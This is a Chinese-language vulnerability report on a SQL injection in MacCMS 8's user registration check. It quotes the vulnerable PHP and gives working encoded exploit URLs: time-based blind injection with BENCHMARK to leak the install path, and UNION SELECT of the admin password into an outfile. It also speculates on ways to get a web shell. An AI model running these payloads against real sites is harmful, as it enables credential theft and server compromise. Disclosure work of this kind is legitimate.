### 简要描述: 这次这个地方主要是想绕过一个限制达到getshell的目的,但是本人水平有限,所以希望大家可以讨论下。 ### 详细说明: 估计依旧小厂商,当然这倒不要紧。 继续上次的注入,如果说上次是因为单词写错的缘故,这次就不仅仅是粗心所造成的了。 接着看代码: 同样index.php开头: 上次分析过,这次直接看 ``` if(empty($ac)){ $ac='vod'; $method='index'; } $colnum = array("id","pg","yaer","typeid","classid");//依然是这里 if($parlen>=2){ $method = $par[1]; for($i=2;$i<$parlen;$i+=2){ $tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]); } } if($tpl->P['pg']<1){ $tpl->P['pg']=1; } unset($colnum); $acs = array('vod','art','map','user','gbook','comment','label'); if(in_array($ac,$acs)){ $tpl->P["module"] = $ac; include MAC_ROOT.'/inc/module/'.$ac.'.php';//继续看module下的文件 } else{ showErr('System','未找到指定系统模块'); } ``` 为了避免说是刷漏洞之类的,我们这次看/inc/module/user.php:第152行 ``` elseif($method=='regcheck') { $status="true"; $s=$tpl->P['s'];//s是哪里来的呢 $t=$tpl->P['t'];//t就是哪里来的 switch($t)//我们看到下面$s依然没有做任何过滤,同时我们之前就可以绕过一切防护 { case "u_name": $where = " AND u_name='" .$s ."'";break; case "u_email": $where = " AND...
### 简要描述: 这次这个地方主要是想绕过一个限制达到getshell的目的,但是本人水平有限,所以希望大家可以讨论下。 ### 详细说明: 估计依旧小厂商,当然这倒不要紧。 继续上次的注入,如果说上次是因为单词写错的缘故,这次就不仅仅是粗心所造成的了。 接着看代码: 同样index.php开头: 上次分析过,这次直接看 ``` if(empty($ac)){ $ac='vod'; $method='index'; } $colnum = array("id","pg","yaer","typeid","classid");//依然是这里 if($parlen>=2){ $method = $par[1]; for($i=2;$i<$parlen;$i+=2){ $tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]); } } if($tpl->P['pg']<1){ $tpl->P['pg']=1; } unset($colnum); $acs = array('vod','art','map','user','gbook','comment','label'); if(in_array($ac,$acs)){ $tpl->P["module"] = $ac; include MAC_ROOT.'/inc/module/'.$ac.'.php';//继续看module下的文件 } else{ showErr('System','未找到指定系统模块'); } ``` 为了避免说是刷漏洞之类的,我们这次看/inc/module/user.php:第152行 ``` elseif($method=='regcheck') { $status="true"; $s=$tpl->P['s'];//s是哪里来的呢 $t=$tpl->P['t'];//t就是哪里来的 switch($t)//我们看到下面$s依然没有做任何过滤,同时我们之前就可以绕过一切防护 { case "u_name": $where = " AND u_name='" .$s ."'";break; case "u_email": $where = " AND u_email='" . $s ."'";break; case "u_qq": $where = " AND u_qq='" . $s ."'";break; case "u_code": if ($_SESSION["code_userreg"] != $s){ $status="false"; } break; default : $where="";break; } if($t!="u_code" && $status=="true"){//也就是说$t为u_name,u_email,u_qq时都可以注入了 $sql = "SELECT count(*) FROM {pre}user WHERE 1=1 " . $where; $num = $db->getOne($sql); if($num>0){ $status= "false"; } } echo "{\"res\":".$status."}";; } ``` 不知道开发看到这里有没有明白各种漏洞为什么会产生呢~ 注入比较简单,但这里我们却只能延时注入,来看下mysql_log: [<img src="https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png" alt="maccms3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png) 当然这里你无法union,只能基于时间盲注入,配合IF和BENCHMARK你依然可以读数据, 但总觉得不够满足,一直想getshell,所以不管如何先找到路径,看了下代码也没找到好的爆路径的地方,只好野蛮一点: ``` http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520and%2520BENCHMARK%252850000000%250A%252Cmd5%2528%2527test%2527%2529%2529%2523-t-u_name ``` [<img src="https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png" alt="macms.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png) 得到路径了,但是index.php里的一段代码让我瞬间傻了, ``` $m = be('get','m'); if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); } ``` 也就是说其实传来的参数只会获取第一个点号出现之前的部分, 那我们怎么getshell啊,愁死了, 接下来我就开始各种YY: 1.读取密码写入无后缀文件中:【可是这样你无法下载啊】 ``` http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520union%2520select%2520m_password%2520from%2520mac_manager%2520into%2520outfile%2520%2522C%253A%255C%255CAppServ%255C%255Cwww%255C%255Cmaccms8_mfb%255C%255Cinc%255C%255Ccommon%255C%255Ctest%2522%2523-t-u_name ``` [<img src="https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png" alt="maccms2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png) 2.利用NTFS ADS建立目录,类似 ``` select 'xxx' into dumpfile 'f:\\test::$INDEX_ALLOCATION'; ``` 可是这又能干嘛 3.继续YY,可不可以以16进制方式写入路径到无后缀文件,然后再outfile到读取出来的路径中,死心吧,语法压根不可行。 4.mysql有能像oracle那样远程将数据发送到其他服务器的函数么,哎继续死心 5.还是老老实实挖一个文件包含吧 …………求大家支援 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png" alt="maccms3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241918344d3eb0e3195eefbafa931729632aa782.png) [<img src="https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png" alt="macms.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2419260725cd0928ab0f311030e29dcae0d957fa.png) [<img src="https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png" alt="maccms2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/241934340b7f8220050221b34cd7f9034414695f.png)